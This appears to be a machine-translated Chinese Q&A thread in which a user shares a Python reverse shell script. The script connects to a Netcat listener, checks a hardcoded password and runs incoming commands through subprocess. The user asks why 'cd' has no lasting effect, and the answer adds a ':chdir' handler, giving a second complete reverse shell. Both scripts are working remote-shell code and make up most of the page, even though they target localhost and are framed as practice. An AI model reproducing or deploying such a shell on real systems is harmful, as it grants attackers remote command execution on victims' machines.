下面你可以看到一个Python脚本,它在1234端口建立了与我的机器的连接。使用Netcat我可以监听该端口,然后使用终端在我的机器上执行操作(我知道这很简单,但它只是练习)。
现在的问题是像" ls,mkdir,pwd,rm甚至" ls / root / Desktop /"正在工作,但是" cd / root / Desktop"或" cd .."不工作,实际上真的很糟糕。输入" cd .."没有返回任何错误消息,但它也没有更改目录。我不能离开我的python目录。
这是脚本:
#! /usr/bin/python
import socket
import subprocess
host = "localhost"
port = 1234
passwd = "hacking"
def login():
global s
s.send("Login: ")
pwd = s.recv(1024)
if pwd.strip() != passwd:
login()
else:
s.send("Connected #> ")
shell()
def shell():
while True:
data = s.recv(1024)
if data.strip() == ":kill":
break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.stdout.read() + proc.stderr.read()
s.send(output)
s.send("#> ")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
login()
我是从here得到的。
任何人都可以帮助我吗?知道为什么我不能离开目录吗?提前谢谢!
答案 0 :(得分:1)
它实际上工作正常。如果你在一个命令中尝试这个怎么办:cd /other/directory; ls
。你会看到该目录确实"更改"在该命令的持续时间内。每个新命令都将获得一个新的环境(因此返回到相同的原始目录)。如果你真的想改变"服务器环境"在命令之间,你需要在python中做到这一点。下面是添加到您提供的代码中的脏示例:
#! /usr/bin/python
import socket
import subprocess
import os
host = "localhost"
port = 12345
passwd = "hacking"
def login():
global s
s.send("Login: ")
pwd = s.recv(1024)
if pwd.strip() != passwd:
login()
else:
s.send("Connected #> ")
shell()
def shell():
while True:
data = s.recv(1024).strip()
if data == ":kill":
break
try:
cmd, params = data.split(" ", 1)
if cmd == ":chdir":
os.chdir(params)
print "chdir to %s" % (params)
s.send("#> ")
continue
except:
pass
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.stdout.read() + proc.stderr.read()
s.send(output)
s.send("#> ")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
login()
与你的":kill"相同的想法命令,如果脚本看到":chdir / new /目录"然后python执行chdir函数,否则将其传递给Popen。